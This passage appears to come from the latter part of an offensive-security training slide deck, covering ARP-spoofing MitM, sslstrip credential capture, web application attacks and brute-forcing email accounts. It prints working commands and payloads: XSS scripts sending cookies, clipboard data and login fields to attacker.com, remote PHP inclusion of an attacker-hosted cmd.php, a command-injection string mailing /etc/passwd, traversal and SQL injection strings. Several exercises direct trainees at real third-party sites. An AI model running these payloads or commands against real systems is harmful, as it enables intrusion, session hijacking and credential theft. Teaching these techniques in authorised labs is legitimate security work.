original traffic Wired Intrusion – Man-in-the-Middle • What is a Man-in-the-Middle attack? 210 Wired Intrusion – Man-in-the-Middle • Target ARP table before Man-in-the-middle • Router MAC: 192.168.1.1 -> 00:25:9C:48:07:36 211 Wired Intrusion – Man-in-the-Middle • Command line • • arpspoof Tools including credential sniffing • Dsniff • Not developed anymore since 2000 • Cain & Abel • Windows Application • http://www.oxid.it/cain.html • Ettercap • Linux Application • Console & GUI • http://ettercap.sourceforge.net/ 212 Table of Content 213 • Wired Intrusion • • • Man-in-the-Middle Credential Sniffing SSL Breakdown Wired Intrusion – Credential Sniffing • Ettercap-NG • Multi Platform • Linux, *BSD, MacOS, Windows • Plugin management • No update since 2005 214 Wired Intrusion – Credential Sniffing 215 Updating Backtrack 5 # aptitude update # aptitude safe-upgrade First prepare Ettercap for Man-in-the-Middle • Change privileges for SSL (65534 to 0) in /etc/etter.conf (remove the # in front) [privs] • ec_uid = 0 # nobody is the default ec_gid = 0 # nobody is the default Uncommenting two lines in /etc/etter.conf (remove the # in front) # if you use iptables: redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" Wired Intrusion – Credential Sniffing • Ettercap GUI 216 Wired Intrusion – Credential Sniffing • Switching to Sniffing Mode • “Sniff” -> “Unified Sniffing” -> Choosing the Interface (e.g. wlan0 in a wireless environment) 217 Wired Intrusion – Credential Sniffing • Looking for active hosts in the network • “Hosts” -> “Scan for hosts” -> e.g. “5 hosts added to the hosts list…” 218 Wired Intrusion – Credential Sniffing • Viewing the discovered hosts • “Hosts” -> “Hosts list” • 192.168.1.1 -> Router / Gateway • 192.168.1.103 -> Target! 219 Wired Intrusion – Credential Sniffing • Starting the Man-in-the-Middle • • “Mitm” -> “ARP Poisoning”s Credential Sniffing is now active 220 Wired Intrusion – Credential Sniffing • Looking at the Target • Before: Router MAC: 192.168.1.1 -> 00:25:9C:48:07:36 • After: Router MAC: 192.168.1.1 -> 00:21:6A:7F:68:04 • The same MAC address as the attackers’ – redirection works! 221 Wired Intrusion – Credential Sniffing • Target now logs into www.youtube.com • Username: blub • Password: asfsadf 222 Wired Intrusion – Credential Sniffing Hands-On: 223 Wired Intrusion – Credential Sniffing Hands-On: • Setup Ettercap • Start Man-in-the-middle • Target PC logs in to various Websites • Does it work? What works? • Which limitations? 224 Table of Content 225 • Wired Intrusion • • • Man-in-the-Middle Credential Sniffing SSL Breakdown Wired Intrusion – SSL Breakdown • Problem with Man-in-the-Middle SSL traffic • How to avoid SSL Certificate warnings? • Using sslstrip • Developed in 2009 • Watches for HTTPS links • Redirects HTTPS links to HTTP • http://www.thoughtcrime.org/software/sslstrip/ 226 Wired Intrusion – SSL Breakdown Problem with Man-in-the-Middle on SSL is the Certificate warning • Firefox 3.6 227 Wired Intrusion – SSL Breakdown Problem with Man-in-the-Middle on SSL is the Certificate warning • Internet Explorer 8 228 Wired Intrusion – SSL Breakdown First prepare applications for Man-in-the-Middle • Prepare SSLStrip ln -s /pentest/web/sslstrip/sslstrip.py sslstrip • Linux Kernel IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward • Setup iptables to intercept HTTP requests for sslstrip iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 229 Wired Intrusion – SSL Breakdown Using arpspoof for packet redirection • Command arpspoof -i <interface> -t <target IP> <gateway IP> • Example in Wireless network arpspoof -i wlan0 -t 192.168.1.106 192.168.1.1 230 Wired Intrusion – SSL Breakdown Start sslstrip for stripping HTTPS • Command sslstrip –p –f –k –w /root/Desktop/sslstrip.log • Log only SSL POST (instead of having all HTTP traffic) • • Emulate the SSL favicon • • -f Kill active SSL session of the target to force relogin • • -p -k Write all traffic to sslstrip.log • -w <filename> 231 Wired Intrusion – SSL Breakdown • No HTTPS anymore • SSL Favicon 232 Wired Intrusion – SSL Breakdown • 233 Checking the logfile sslstrip.log SECURE POST Data (www.google.com): ltmpl=default<mplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3 F&service=mail&rm=false&dsh=3086128579327401111<mpl=default<mpl=default&scc=1&timeStmp=&secTok=&GALX =APDKuj6HaBM&[email protected]&Passwd=mYpasSw0rd&rmShown=1&signIn=Sign+ in&asts= Wired Intrusion – SSL Breakdown Hands-On: 234 Wired Intrusion – SSL Breakdown Hands-On: • Setup arp-spoofing for your target PC • Start sslstrip • Break SSL down • Does it work? • Passwords in the logfile? 235 Table of Content – Complete Overview 236 1. Overview 2. Footprinting 3. Server Intrusion 4. Client-Side Intrusion 5. Wireless Intrusion 6. Wired Intrusion 7. Web Application 8. Miscellaneous Attacks Table of Content 237 • Web Application • • • • • • • Overview Basics Code Exposure Input Validation CGI applications Cross Site Scripting SQL Injection Web Application – Overview • 238 Due to the development of the world wide web, lots of new techniques have been developed & discovered to attack CGI applications and clients • Webservers and CGI applications have to be reachable • Webservers are often the easiest entry point • Thanks to PHP there are new vulnerabilities discovered every day Table of Content 239 • Web Application • • • • • • • Overview Basics Code Exposure Input Validation CGI applications Cross Site Scripting SQL Injection Web Application – Google Hacking • http://www.google.com/advanced_search • http://www.google.com/intl/en/help/cheatsheet.html • link: Results that link to that website • cache: Search the cache • site: Limit to this site only (website or domain)? • inurl:, allinurl: Search hit has to be in URL • intitle:, allintitle: Search hit has to be in title • filetype: Searches all files of this type 240 Web Application – Google Hacking • Good examples in The Google Hacking Database: http://www.exploit-db.com/google-dorks/ • Public WebCams – e.g. • • Front Page User Logins - See the login files for front page users • • inurl:_vti_pvt "service.pwd“ Network Printers – View the status and even print off of printers remotely • • intitle:"Live View / - AXIS" intext:centreware inurl:status Administrator Access - View and alter websites through phpMyAdmin • intitle:phpMyAdmin "Welcome to phpMyAdmin *" "running on* as [email protected]*" 241 Web Application – Robots.txt • Used to deny indexing of specific parts of a website by automated robots like Google Bot • Location: <URL>/robots.txt, e.g.: http://www.finfisher.com/robots.txt • 242 Commonly used – thanks to aggressive indexing by modern search engines Web Application – Robots.txt • Example: User-agent: * Disallow: /www-preview/ Disallow: /admin/ Disallow: /common/ 243 Web Application – Robots.txt • Example: User-agent: * Disallow: /attachements/ […..] Disallow: /studiomail/ […] Disallow: /studiomailfrontend.cfm […] 244 Web Application – Robots.txt • Example: User-agent: * Disallow: /admin/ Disallow: /admin/Security/ […] 245 Web Application – Robots.txt Hands-On: 246 Web Application – Robots.txt Hands-On: • Visit some known (target) Websites • • Example: https://www.microsoft.com/robots.txt Check for robots.txt on the domain • Interesting data? • Any admin / mail interfaces? 247 Web Application – Default Passwords • Many devices, router & printer use default configuration • Therefore default username & password combinations are often used • Different lists exist for this (e.g. http://www.phenoelit-us.org/dpl/dpl.html) 248 Web Application – Social Network Security • Many Social Networks are prone to vulnerabilities • http://socialnetworksecurity.org/en/index.php 249 Web Application – Hidden Directories • Some very common hidden directories: • /admin • /phpMyAdmin • /mail • /webmail • /email • /webalizer • /stats • /login 250 Web Application – Hidden Directories • Some open source application are good in directory findings • Nikto2 • • Very established but old web security scanner • http://cirt.net/nikto2 Skipfish • Very new web security scanner of Google • Extremely fast • Self learning dictionary wordlist • https://code.google.com/p/skipfish/ 251 Web Application – Hidden Directories Hands-On: 252 Web Application – Hidden Directories Hands-On: • Choose some known (target) website • Run nikto on target website • Interesting directories? • Vulnerabilities found? • Any admin / webmail interfaces? 253 Table of Content 254 • Web Application • • • • • • • Overview Basics Code Exposure Input Validation CGI applications Cross Site Scripting SQL Injection Web Application – Code Exposure • Sometimes developer leave to many information within the source code • Sometimes developer even provide credentials in clear-text • “View page source” often discloses information • Client-side scripts & applications are in control of the client • • JavaScript • Flash All client-side authentication & protection can easily be bypassed 255 Web Application – Code Exposure • Example: Martial Arts Website in Munich – Admin Interface 256 Web Application – Code Exposure • Example: Martial Arts Website in Munich – Sourcecode • Uncommented line linking to “pass.php” 257 Web Application – Code Exposure • Example: Martial Arts Website in Munich – pass.php • Web server exposes user ids & passwords (hashed) within the file 258 Web Application – Code Exposure • MD5 Hashes online • http://www.hashkiller.com • Searches through dozens of websites and has own huge database! • “Webcrack” requires Account 259 Web Application – Code Exposure Hands-On: 260 Web Application – Code Exposure Hands-On: • Take the challenge by yourself • Visit the provided URL • Solve the Web Hack-It • Stage 1 • Code Exposure • Stage 2 • Hidden Directory 261 Table of Content 262 • Web Application • • • • • • • Overview Basics Code Exposure Input Validation CGI applications Cross Site Scripting SQL Injection Web Application – Input Validation • There are various techniques to bypass input validation like “is a valid e-mail“ checks, etc. • 263 All client side validation can easily be bypassed / modified Web Application – Input Validation • Examples // returns true if the string is a valid e-mail function isEmail(str){ if(isEmpty(str)) return false; var re = /^[^\s()<>@,;:\/][email protected]$/i return re.test(str); } // returns true if the string is a US phone number formatted as... // (000)000-0000, (000) 000-0000, 000-000-0000, 000.000.0000, 000 000 0000, 0000000000 function isPhoneNumber(str){ var re = /^\(?[2-9]\d{2}[\)\.-]?\s?\d{3}[\s\.-]?\d{4}$/ return re.test(str); } // returns true if the string only contains characters A-Z, a-z or 0-9 function isAlphaNumeric(str){ var re = /[^a-zA-Z0-9]/g if (re.test(str)) return false; return true; } 264 Web Application – Input Validation • 265 Most input restrictions can be bypassed by saving the website to disk and manipulating the functions using a text-editor and load the local, modified version into the web browser Original Modified // returns true if the string is a valid e-mailfunction // returns true if the string is a valid e-mailfunction isEmail(str) { isEmail(str) { return true; if(isEmpty(str)) return false; var re = /^[^\s()<>@,;:\/[email protected]$/i return re.test(str); } } Web Application – Input Validation • Software that is used as a proxy by the Web browser • Any modification is possible before information reaches its final destination • Replacements of any kind are possible, including: • Modification of cookies • Modification of HTTP requests (POST & GET) • Modification of variables and form fields • Bypassing any client side validation 266 Web Application – Input Validation • Interception Proxies can help – Paros • On-the-fly interception and modification • Support of different authentications • Spider functionality 267 Web Application – Input Validation • Concept of Interception through Paros Proxy 1. The Attacker sends a request to the Paros Proxy. 2. The Paros Proxy connects the HTTP Server. 3. The HTTP Server sends back the answer to the Paros Proxy. 4. Code is being modified 5. The Paros Proxy sends back this answer to the Attacker. 268 Web Application – Input Validation • Starting Paros – Main Screen 269 Web Application – Input Validation • Starting Paros – Configure for Interception • Enable “Trap request” and “Trap response” in “Trap Window” 270 Web Application – Input Validation • 271 Paros will now intercept all traffic and using the buttons “Continue” or “Drop” you can pass the requests to their destination, or drop them • Paros Proxy runs on localhost on Port 8080 • We need to configure our Browser to use this proxy Web Application – Input Validation • Paros Proxy – Firefox 272 Web Application – Input Validation Paros Proxy – Firefox 1. In Firefox “Edit” -> “Preferences” 2. “Advanced” 3. “Network” tab 4. “Settings” button 5. Configuration • HTTP Proxy: localhost • Port: 8080 • Check on “Use this proxy server for all protocols” 273 Web Application – Input Validation Paros Proxy – Google.com Example 1. HTTP Header 2. HTTP Data 3. “Continue” to see the next packet 274 Web Application – Input Validation Hands-On: 275 Web Application – Input Validation 276 Hands-On: • Start the Paros Proxy • Configure Paros Proxy & Browser • Solve Hack-It Stage 1 again using Paros this time. • Try to modify values and/or code in the right part of Paros before you hit “Continue” Web Application – Input Validation Hands-On: • Get familiar with this basic interception procedure • Solve the Web Hack-It • Stage 3 • Input Validation • Stage 4 • HTTP Header Manipulation • Stage 5 • Router Access 277 Table of Content 278 • Web Application • • • • • • • Overview Basics Code Exposure Input Validation CGI applications Cross Site Scripting SQL Injection Web Application – CGI applications • 279 What is CGI? • Abbreviation of Common Gateway Interface • Specification for transferring information between a Web server and a CGI program • The program could be written in any programming language, including • PHP • ASP • Perl • Java • Python • Ruby • Etc. Web Application – CGI applications • There are several types of attacks against CGI applications: • File-read: Read files from the remote web server • File-execute: Execute applications on the remote web server • File-upload: Upload/Include custom code • Restriction-bypass: Bypass authentication 280 Web Application – CGI applications 281 Modification Of Variables • State variables are often used to distinguish between authentication states or user rights • ID Variables are often used to distinguish between different orders, users or products • Often variables are stored in the cookie for later usage Web Application – CGI applications 282 Simple Variable Weakness #1 • Due to the lack of a proper variable state initialization, we can define the state of the variable: http://www.example.com/index.php?auth=1 • These variables are often stored in cookies index.php: <?php if ($pass == "some_secret_pass")? $auth= 1; if ($auth == 1)? echo "logged in successfully"; ?> Web Application – CGI applications Simple Variable Weakness #2 • Offers, customers and products often have numeric values • Some applications still relay on these numbers. This makes it possible to read someone’s order or offer by increasing or guessing a value within a variable • These variables are often stored in cookies, especially customer IDs • Example • http://www.example.com/show-offer.asp?id=2345 283 Web Application – CGI applications Remote File Read • Many CGI scripts read local files according to the selection • Example: • www.example.com/ikonboard/help.cgi?helpon=user • Will read and show “user.html“ • www.example.com/ikonboard/help.cgi?helpon=../../../etc/passwd%00 • Will read and show the password file 284 Web Application – CGI applications 285 Remote Code Inclusion – PHP #1 • Variable include/require statements are dangerous • PHP applications with unsafe include() and require() calls are affected, because PHP allows remote URL’s within those calls: • Example: • http://www.victim.com/index.php?action=logout.php • The vulnerable code looks like this: index.php: <?php include $_GET['action']; ?> Web Application – CGI applications 286 Remote Code Inclusion – PHP #2 • A simple PHP command execution script is put to a web server: cmd.php: <?php system($c) ?> • When the request below is sent, the web server of the target includes our PHP script and passes our command to it: • http://www.victim.com/index.php?action=http://www.attacker.com/cmd.php?c=ls Web Application – CGI applications 287 Remote Code Inclusion • Sometimes it's possible to use/abuse upload scripts to upload custom CGI/PHP scripts to the remote web server • Some other places to include custom codes which will be executed by the Webserver are guestbook's, forums, etc. Web Application – CGI applications 288 NULL-Byte Injection • NULL (\0) is often used to terminate strings within applications • NULL bytes can be used to remove file extensions if user supplied data is used for filenames and a fixed extension is added by the application: • www.codito.de/ikonboard/help.cgi?helpon=../../../etc/passwd Reads /etc/passwd.html (Not found)? • www.codito.de/ikonboard/help.cgi?helpon=../../../etc/passwd%00 Reads /etc/passwd (Found) Web Application – CGI applications 289 Character Injection • CRLF (\r\n) could invoke a second command if user-supplied data is passed to the command line • ;, &, &&, |, || and ` can also trigger a second, custom command to be executed • Script executes command: system(“cat welcome_mail.txt | mail <USER-SUPPLIED DATA>“); • Using the following string as the e-mail address will send us the original mail and the password file: [email protected] && mail [email protected] < /etc/passwd Web Application – CGI applications Hands-On: 290 Web Application – CGI applications Hands-On: • Solve the Web Hack-It • Stage 6 • Cookie Manipulation • Stage 7 • Code Inclusion • Stage 8 • Local File Inclusion 291 Table of Content 292 • Web Application • • • • • • • Overview Basics Code Exposure Input Validation CGI applications Cross Site Scripting SQL Injection Web Application – Cross Site Scripting • 293 Cross Site Scripting (called XSS) is a technique do insert custom HTML/JavaScript/etc. code into a remote website • There a mainly 2 ways: • Persistent: Code is inserted into the remote website using a guestbook, forum, etc. • Non persistent: Code is inserted into the remote website using a specially crafted link and have users clicking it • http://www.xssed.com/archive/special=1/ • • List of famous & government websites with XSS Reference: XSS Cheat Sheet • http://ha.ckers.org/xss.html Web Application – Cross Site Scripting • Example – USA election: 294 Web Application – Cross Site Scripting 295 • Indirect impact: • HTML or JavaScript code will be entered in a guest book. Every time someone opens the guestbook, the code will be interpreted by the viewers web browsing engine • Error messages will be logged to a text file. Instead of simple generating a message like “test.txt File not found”, messages like “<script>alert(“test”);</script> will be generated. When the log viewer application interprets the lines in the text file, the code might be executed Web Application – Cross Site Scripting • Affected parts of an application • Every part of an application can be vulnerable to injection attacks depending on its processing of information • • Any variables, form fields, cookies and components are candidates to be abused for this attack Missing input validation is the source of this attack 296 Web Application – Cross Site Scripting Discovery of XSS • The discovery of possible attack vectors can be done manually or automated • Manual analyzing: • What input possibilities are available within an application? • How is the data processed? • Try to modify input fields with common test strings. • Modify the attack string to do something useful! 297 Web Application – Cross Site Scripting 298 Advanced XSS • Reading the clipboard of clients using the Internet Explorer through XSS (e.g. using a fake image tag) • The attackers dumb script simply writes the given data to a log file on the remote server: <script> data = clipboardData.getData("Text"); img = '<img src="http://www.attacker.com/clipdump.php?payload= ' + escape(data) + '&referrer={$refer}' + '&host{$ip}" width=1 document.write(img); </script> height=1>'; Web Application – Cross Site Scripting 299 Advanced XSS • A XSS bug in a login page in combination with the victim using the browsers "passwordsafe" enables attackers to steal login data. <script> function hack() { url = 'http://www.attacker.com/logindump.php?u=' + document.form.username.value + '&p=' + document.form.pw.value; }; location.href=url; setTimeout(hack,2000); </script> Web Application – Cross Site Scripting 300 Advanced XSS • The victim uses a webmailer, e.g. yahoo.com and does not log out, so his session is still active • The victim visits some XSS poisoned site that expects yahoo.com users to still be logged on and sends mails using their account/browser: <img src="http://[email protected] Web Application – Cross Site Scripting 301 Session Hijacking using Cookies • Many of the current session management systems are based on cookies, storing the session ID at client side • The cookies can be read and transferred using JavaScript • The stolen cookie content will then be used by the attacker <script> top.load('http://www.attacker.com/cookiedump.php?c=' + </script> document.cookie Web Application – Cross Site Scripting Hands-On: 302 Web Application – Cross Site Scripting Hands-On: • Search for some target sites with input forms • Try some basic XSS • Sites vulnerable? 303 Table of Content 304 • Web Application • • • • • • • Overview Basics Code Exposure Input Validation CGI applications Cross Site Scripting SQL Injection Web Application – SQL Injection • 305 All databases are affected • MySQL • Microsoft SQL • PostgreSQL • Oracle • etc… • The problem is not the database itself, it's the absence of input validation • An attacker tricks an application into running an arbitrary SQL query by appending extra SQL elements to the query that was intended to be executed by the database application Web Application – SQL Injection • 306 Simple detection is possible by supplying characters that will modify the intended SQL query : • ' • " • -- • ; • || Web Application – SQL Injection Simple SQL Injection example: • URL http://www.victim.com/[email protected] • PHP Code <?php mysql_query('SELECT name FROM users WHERE mail='.$_GET['e-mail']); ?> • SQL Query SELECT name FROM users WHERE mail=’[email protected]’ 307 Web Application – SQL Injection Simple SQL Injection example: • URL http://www.victim.com/senddetails.php?mail=“something' or 1=1;“ • PHP Code <?php mysql_query('SELECT name FROM users WHERE mail='.$_GET['e-mail']); ?> • SQL Query SELECT name FROM users WHERE mail='something' or 1=1; 308 Web Application – SQL Injection Depending of the query, the following injections might work: • ' or 1=1-- • " or 1=1-- • or 1=1-- • ' or ‘1'=‘1 • " or “1"=“1 • ') or (‘1'=‘1 309 Web Application – SQL Injection • 310 Instead of just sending the related login details for the [email protected] user, the application will return the details for all users in the database as 1=1 is always true • The amount of abuse possibilities on the different database products is depending on their feature set or dialect of SQL, their macros (stored procedures) and/or their architecture • Sub SELECT, VIEW and UNION commands are used to gather more information as intended • INSERT or ALTER commands are used for writing onto databases • Store procedures are product specific but very powerful • System commands for system overtake! Web Application – SQL Injection SQL UNION: • UNION combines SQL queries • Original query: • • SELECT name, age FROM family; Modified query: • SELECT name, age FROM family UNION SELECT username,password FROM users; 311 Web Application – SQL Injection 312 Summary • SQL injection could take up to multiple days/weeks/month of training for a single product / platform. It is diverse, depending on the database product used • If you need to test a certain application you should try to find out what database application is running and refer to the existing technical publications • No magic potion here Web Application – SQL Injection Hands-On: 313 Web Application – SQL Injection Hands-On: • Solve Web Hack-It Stage 9 • Solve Web Hack-It Stage 10 • Combination of everything learned! 314 Table of Content 315 1. Overview 2. Footprinting 3. Server Intrusion 4. Client-Side Intrusion 5. Wireless Intrusion 6. Wired Intrusion 7. Web Application 8. Miscellaneous Attacks Table of Content 316 • Miscellaneous Attacks • Breaking E-Mail Accounts Miscellaneous Attacks – Breaking E-Mail Accounts • No reliable method to get in! • Bruteforce possible • Dictionary attack is most efficient • Predefined wordlists • Own wordlists 317 Miscellaneous Attacks – Breaking E-Mail Accounts • Example target: • • Any @microsoft.com Need to know: • Many E-Mail addresses • POP3/IMAP4 Server for E-Mail retrieval 318 Miscellaneous Attacks – Breaking E-Mail Accounts Need to know the POP3(S)/IMAP4(S) Server • Not always 100% possible to find out • Even if – sometimes remote POP3/IMAP4 connections are forbidden • Possibly the same IP/Hostname like SMTP address • Domain Bruteforce • Scanning network range 319 Miscellaneous Attacks – Breaking E-Mail Accounts Possibly the same IP/Hostname like SMTP address • Check for the MX (DNS entry for Mail) record $ host -t MX microsoft.com microsoft.com mail is handled by 10 mail.messaging.microsoft.com. • Checking if this host also responds to POP3(S)/IMAP(S) nmap –p 110,143,993,995 mail.messaging.microsoft.com 320 Miscellaneous Attacks – Breaking E-Mail Accounts Domain Bruteforce • dnsenum can be used • DNS Name enumeration • Multiple discovery techniques • BT5: /pentest/enumeration/dns/dnsenum/ Usage: ./dnsenum –f dns.txt microsoft.com Look out for hostnames like: • email.* • mail.* • pop.* 321 Miscellaneous Attacks – Breaking E-Mail Accounts Scanning Network Range • The POP3/IMAP4 server is often in the same IP range like the domain • Example www.microsoft.com # ping microsoft.com PING microsoft.com (207.46.232.182) 56(84) bytes of data. • Check the IP range for POP3/IMAP4 server with nmap: # nmap –p 110,143,993,995 207.46.232.1-254 322 Miscellaneous Attacks – Breaking E-Mail Accounts Hands-On: 323 Miscellaneous Attacks – Breaking E-Mail Accounts Hands-On: • Choose some target • Try to find out the POP3/IMAP4 Mail server 324 Miscellaneous Attacks – Breaking E-Mail Accounts Generating Dictionary – Predefined Wordlists • Many wordlists are free to download • http://www.packetstormsecurity.org/Crackers/wordlists/ • Categorized wordlists • • Common Words • Languages • Religion • Movies • Etc. Millions of words! 325 Miscellaneous Attacks – Breaking E-Mail Accounts Generating Dictionary – Predefined Wordlists • Pro • • Much higher success rate Contra • May take a long time to find the correct password 326 Miscellaneous Attacks – Breaking E-Mail Accounts Generating Dictionary – Own Wordlists • Creating wordlists with simple passwords • Many people use passwords like: • 123456 • Password • asdfgh • 123qwe • abc123 327 Miscellaneous Attacks – Breaking E-Mail Accounts Generating Dictionary – Predefined Wordlists • Pro • • Very fast results Contra • Low(er) success rate 328 Miscellaneous Attacks – Breaking E-Mail Accounts Hands-On: 329 Miscellaneous Attacks – Breaking E-Mail Accounts Hands-On: • Create wordlist • Choose around 30 passwords • Save for later use 330 Miscellaneous Attacks – Breaking E-Mail Accounts How to get E-Mail addresses • Searching with Maltego • *@microsoft.com 331 Miscellaneous Attacks – Breaking E-Mail Accounts How to get E-Mail addresses • Using Google Search mailto: "@microsoft.com" • Using Google Mail Enum goog-mail.py microsoft.com 332 Miscellaneous Attacks – Breaking E-Mail Accounts Hands-On: 333 Miscellaneous Attacks – Breaking E-Mail Accounts Hands-On: • Choose some target • Collect 5 to 10 E-Mail addresses 334 Miscellaneous Attacks – Breaking E-Mail Accounts • After • Finding some E-Mail addresses • Finding the corresponding POP3/IMAP4 server • Creating a password wordlist • Start to attack the mail postboxes • Using xhydra for Bruteforce 335 Miscellaneous Attacks – Breaking E-Mail Accounts • • xhydra • Very fast logon cracker • Multiple protocols like POP3, HTTP, FTP, MYSQL, etc. Good and easy to use GUI 336 Miscellaneous Attacks – Breaking E-Mail Accounts • xhydra – Target 1. IP/Domain of POP3 Server 2. Protocol = POP3 3. Show Attempts = We see each attempt in the Log 337 Miscellaneous Attacks – Breaking E-Mail Accounts • xhydra – Target 1. Created list of users 2. List of passwords 3. Try username as password 338 Miscellaneous Attacks – Breaking E-Mail Accounts • xhydra – Target 1. Parallel attempts per second = depends on connection = 3 - 5 suggested 339 Miscellaneous Attacks – Breaking E-Mail Accounts • xhydra – Target • Output window If password is found – it will be displayed in bold characters 340 Miscellaneous Attacks – Breaking E-Mail Accounts Hands-On: 341 Miscellaneous Attacks – Breaking E-Mail Accounts Hands-On: • Trainer will give domain name! • Use xhydra to bruteforce logins 342 Vielen Dank für die Aufmerksamkeit Questions? Thank you for your attention! 343
* Your assessment is very important for improving the work of artificial intelligence, which forms the content of this project
advertisement
© 2021